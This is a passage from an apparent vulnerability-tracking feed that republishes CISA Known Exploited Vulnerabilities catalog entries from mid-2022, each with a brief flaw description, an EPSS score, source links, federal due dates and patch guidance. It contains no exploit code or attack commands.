https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-31010&date=2026-10-25 CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### PEAR Archive_Tar Improper Link Resolution Vulnerability https://kevwire.com/record/CVE-2020-36193 PEAR Archive_Tar Improper Link Resolution Vulnerability (Aug 25, 2022). PEAR Archive_Tar Tar.php allows write operations with directory traversal due to inadequate checking of symbolic links. PEAR stands for PHP Extension and Application Repository and it is an open-source framework and distribution system for reusable PHP components with known usage in third-party products such as Drupal Core and Red Hat Linux. EPSS 70.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-36193&date=2026-10-25). Sources: CISA KEV entry CVE-2020-36193: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-36193&date=2026-10-25 CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### PEAR Archive_Tar Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2020-28949 PEAR Archive_Tar Deserialization of Untrusted Data Vulnerability (Aug 25, 2022). PEAR Archive_Tar allows an unserialization attack because phar: is blocked but PHAR: is not blocked. PEAR stands for PHP Extension and Application Repository and it is an open-source framework and distribution system for reusable PHP components with known usage in third-party products such as Drupal Core and Red Hat Linux. EPSS 84.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-28949&date=2026-10-25). Sources: CISA KEV entry CVE-2020-28949: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-28949&date=2026-10-25 CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Palo Alto Networks PAN-OS Reflected Amplification Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2022-0028 Palo Alto Networks PAN-OS Reflected Amplification Denial-of-Service Vulnerability (Aug 22, 2022). A Palo Alto Networks PAN-OS URL filtering policy misconfiguration could allow a network-based attacker to conduct reflected and amplified TCP denial-of-service (RDoS) attacks. EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-0028&date=2026-10-25). Sources: CISA KEV entry CVE-2022-0028: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-0028&date=2026-10-25 CISA added this entry on 2022-08-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 22, 2022; federal due date Sep 12, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SAP Multiple Products HTTP Request Smuggling Vulnerability https://kevwire.com/record/CVE-2022-22536 SAP Multiple Products HTTP Request Smuggling Vulnerability (Aug 18, 2022). SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server and SAP Web Dispatcher allow HTTP request smuggling. An unauthenticated attacker can prepend a victim's request with arbitrary data, allowing for function execution impersonating the victim or poisoning intermediary Web caches. EPSS 97.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22536&date=2026-10-25). Sources: CISA KEV entry CVE-2022-22536: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22536&date=2026-10-25 CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 18, 2022; federal due date Sep 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS and macOS Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2022-32894 Apple iOS and macOS Out-of-Bounds Write Vulnerability (Aug 18, 2022). Apple iOS and macOS contain an out-of-bounds write vulnerability that could allow an application to execute code with kernel privileges. EPSS 3.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-32894&date=2026-10-25). Sources: CISA KEV entry CVE-2022-32894: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-32894&date=2026-10-25 CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 18, 2022; federal due date Sep 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS and macOS Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2022-32893 Apple iOS and macOS Out-of-Bounds Write Vulnerability (Aug 18, 2022). Apple iOS and macOS contain an out-of-bounds write vulnerability that could allow for remote code execution when processing malicious crafted web content. EPSS 9.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-32893&date=2026-10-25). Sources: CISA KEV entry CVE-2022-32893: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-32893&date=2026-10-25 CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 18, 2022; federal due date Sep 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium Intents Insufficient Input Validation Vulnerability https://kevwire.com/record/CVE-2022-2856 Google Chromium Intents Insufficient Input Validation Vulnerability (Aug 18, 2022). Google Chromium Intents contains an insufficient validation of untrusted input vulnerability that allows a remote attacker to browse to a malicious website via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 4.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-2856&date=2026-10-25). Sources: CISA KEV entry CVE-2022-2856: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-2856&date=2026-10-25 CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 18, 2022; federal due date Sep 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Active Directory Domain Services Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-26923 Microsoft Active Directory Domain Services Privilege Escalation Vulnerability (Aug 18, 2022). An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow for privilege escalation to SYSTEM. EPSS 83.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26923&date=2026-10-25). Sources: CISA KEV entry CVE-2022-26923: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26923&date=2026-10-25 CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 18, 2022; federal due date Sep 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Runtime Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-21971 Microsoft Windows Runtime Remote Code Execution Vulnerability (Aug 18, 2022). Microsoft Windows Runtime contains an unspecified vulnerability that allows for remote code execution. EPSS 53.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-21971&date=2026-10-25). Sources: CISA KEV entry CVE-2022-21971: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-21971&date=2026-10-25 CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 18, 2022; federal due date Sep 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Palo Alto Networks PAN-OS Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-15944 Palo Alto Networks PAN-OS Remote Code Execution Vulnerability (Aug 18, 2022). Palo Alto Networks PAN-OS contains multiple, unspecified vulnerabilities which can allow for remote code execution when chained. EPSS 98.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-15944&date=2026-10-25). Sources: CISA KEV entry CVE-2017-15944: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-15944&date=2026-10-25 CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 18, 2022; federal due date Sep 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) Arbitrary File Upload Vulnerability https://kevwire.com/record/CVE-2022-27925 Synacor Zimbra Collaboration Suite (ZCS) Arbitrary File Upload Vulnerability (Aug 11, 2022). Synacor Zimbra Collaboration Suite (ZCS) contains flaw in the mboximport functionality, allowing an authenticated attacker to upload arbitrary files to perform remote code execution. This vulnerability was chained with CVE-2022-37042 which allows for unauthenticated remote code execution. EPSS 98.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-27925&date=2026-10-25). Sources: CISA KEV entry CVE-2022-27925: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-27925&date=2026-10-25 CISA added this entry on 2022-08-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 11, 2022; federal due date Sep 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2022-37042 Synacor Zimbra Collaboration Suite (ZCS) Authentication Bypass Vulnerability (Aug 11, 2022). Synacor Zimbra Collaboration Suite (ZCS) contains an authentication bypass vulnerability in MailboxImportServlet. This vulnerability was chained with CVE-2022-27925 which allows for unauthenticated remote code execution. EPSS 91.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-37042&date=2026-10-25). Sources: CISA KEV entry CVE-2022-37042: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-37042&date=2026-10-25 CISA added this entry on 2022-08-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 11, 2022; federal due date Sep 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-34713 Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability (Aug 9, 2022). A remote code execution vulnerability exists when Microsoft Windows MSDT is called using the URL protocol from a calling application. EPSS 67.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-34713&date=2026-10-25). Sources: CISA KEV entry CVE-2022-34713: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-34713&date=2026-10-25 CISA added this entry on 2022-08-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 9, 2022; federal due date Aug 30, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### RARLAB UnRAR Directory Traversal Vulnerability https://kevwire.com/record/CVE-2022-30333 RARLAB UnRAR Directory Traversal Vulnerability (Aug 9, 2022). RARLAB UnRAR on Linux and UNIX contains a directory traversal vulnerability, allowing an attacker to write to files during an extract (unpack) operation. EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-30333&date=2026-10-25). Sources: CISA KEV entry CVE-2022-30333: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-30333&date=2026-10-25 CISA added this entry on 2022-08-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 9, 2022; federal due date Aug 30, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) Command Injection Vulnerability https://kevwire.com/record/CVE-2022-27924 Synacor Zimbra Collaboration Suite (ZCS) Command Injection Vulnerability (Aug 4, 2022). Synacor Zimbra Collaboration Suite (ZCS) allows an attacker to inject memcache commands into a targeted instance which causes an overwrite of arbitrary cached entries. EPSS 93.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-27924&date=2026-10-25). Sources: CISA KEV entry CVE-2022-27924: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-27924&date=2026-10-25 CISA added this entry on 2022-08-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 4, 2022; federal due date Aug 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Atlassian Questions For Confluence App Hard-coded Credentials Vulnerability https://kevwire.com/record/CVE-2022-26138 Atlassian Questions For Confluence App Hard-coded Credentials Vulnerability (Jul 29, 2022). Atlassian Questions For Confluence App has hard-coded credentials, exposing the username and password in plaintext. A remote unauthenticated attacker can use these credentials to log into Confluence and access all content accessible to users in the confluence-users group. EPSS 98.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26138&date=2026-10-25). Sources: CISA KEV entry CVE-2022-26138: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26138&date=2026-10-25 CISA added this entry on 2022-07-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 29, 2022; federal due date Aug 19, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Client Server Runtime Subsystem (CSRSS) Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-22047 Microsoft Windows Client Server Runtime Subsystem (CSRSS) Privilege Escalation Vulnerability (Jul 12, 2022). Microsoft Windows CSRSS contains an unspecified vulnerability that allows for privilege escalation to SYSTEM privileges. EPSS 18.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22047&date=2026-10-25). Sources: CISA KEV entry CVE-2022-22047: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22047&date=2026-10-25 CISA added this entry on 2022-07-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 12, 2022; federal due date Aug 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows LSA Spoofing Vulnerability https://kevwire.com/record/CVE-2022-26925 Microsoft Windows LSA Spoofing Vulnerability (Jul 1, 2022). Microsoft Windows Local Security Authority (LSA) contains a spoofing vulnerability where an attacker can coerce the domain controller to authenticate to the attacker using NTLM. EPSS 10.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26925&date=2026-10-25). Sources: CISA KEV entry CVE-2022-26925: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26925&date=2026-10-25 CISA added this entry on 2022-07-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply remediation actions outlined in CISA guidance [https://www.cisa.gov/guidance-applying-june-microsoft-patch]. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 1, 2022; federal due date Jul 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mitel MiVoice Connect Data Validation Vulnerability https://kevwire.com/record/CVE-2022-29499 Mitel MiVoice Connect Data Validation Vulnerability (Jun 27, 2022). The Service Appliance component in Mitel MiVoice Connect allows remote code execution due to incorrect data validation. EPSS 55.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-29499&date=2026-10-25). Sources: CISA KEV entry CVE-2022-29499: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-29499&date=2026-10-25 CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium PopupBlocker Security Bypass Vulnerability https://kevwire.com/record/CVE-2021-30533 Google Chromium PopupBlocker Security Bypass Vulnerability (Jun 27, 2022). Google Chromium PopupBlocker contains an insufficient policy enforcement vulnerability that allows a remote attacker to bypass navigation restrictions via a crafted iframe. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 16.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30533&date=2026-10-25). Sources: CISA KEV entry CVE-2021-30533: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30533&date=2026-10-25 CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Red Hat Polkit Out-of-Bounds Read and Write Vulnerability https://kevwire.com/record/CVE-2021-4034 Red Hat Polkit Out-of-Bounds Read and Write Vulnerability (Jun 27, 2022). The Red Hat polkit pkexec utility contains an out-of-bounds read and write vulnerability that allows for privilege escalation with administrative rights. EPSS 94.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-4034&date=2026-10-25). Sources: CISA KEV entry CVE-2021-4034: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-4034&date=2026-10-25 CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS and iPadOS Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2021-30983 Apple iOS and iPadOS Buffer Overflow Vulnerability (Jun 27, 2022). Apple iOS and iPadOS contain a buffer overflow vulnerability that could allow an application to execute code with kernel privileges. EPSS 2.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30983&date=2026-10-25). Sources: CISA KEV entry CVE-2021-30983: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30983&date=2026-10-25 CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Memory Corruption Vulnerability https://kevwire.com/record/CVE-2020-3837 Apple Multiple Products Memory Corruption Vulnerability (Jun 27, 2022). Apple iOS, iPadOS, macOS, tvOS, and watchOS contain a memory corruption vulnerability that could allow an application to execute code with kernel privileges. EPSS 14.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3837&date=2026-10-25). Sources: CISA KEV entry CVE-2020-3837: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3837&date=2026-10-25 CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Memory Corruption Vulnerability https://kevwire.com/record/CVE-2020-9907 Apple Multiple Products Memory Corruption Vulnerability (Jun 27, 2022). Apple iOS, iPadOS, and tvOS contain a memory corruption vulnerability that could allow an application to execute code with kernel privileges. EPSS 3.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-9907&date=2026-10-25). Sources: CISA KEV entry CVE-2020-9907: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-9907&date=2026-10-25 CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Use-After-Free Vulnerability https://kevwire.com/record/CVE-2019-8605 Apple Multiple Products Use-After-Free Vulnerability (Jun 27, 2022). A use-after-free vulnerability in Apple iOS, macOS, tvOS, and watchOS could allow a malicious application to execute code with system privileges. EPSS 17.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-8605&date=2026-10-25). Sources: CISA KEV entry CVE-2019-8605: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-8605&date=2026-10-25 CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Memory Corruption Vulnerability https://kevwire.com/record/CVE-2018-4344 Apple Multiple Products Memory Corruption Vulnerability (Jun 27, 2022). Apple iOS, macOS, tvOS, and watchOS contain a memory corruption vulnerability which can allow for code execution. EPSS 2.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-4344&date=2026-10-25). Sources: CISA KEV entry CVE-2018-4344: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-4344&date=2026-10-25 CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: 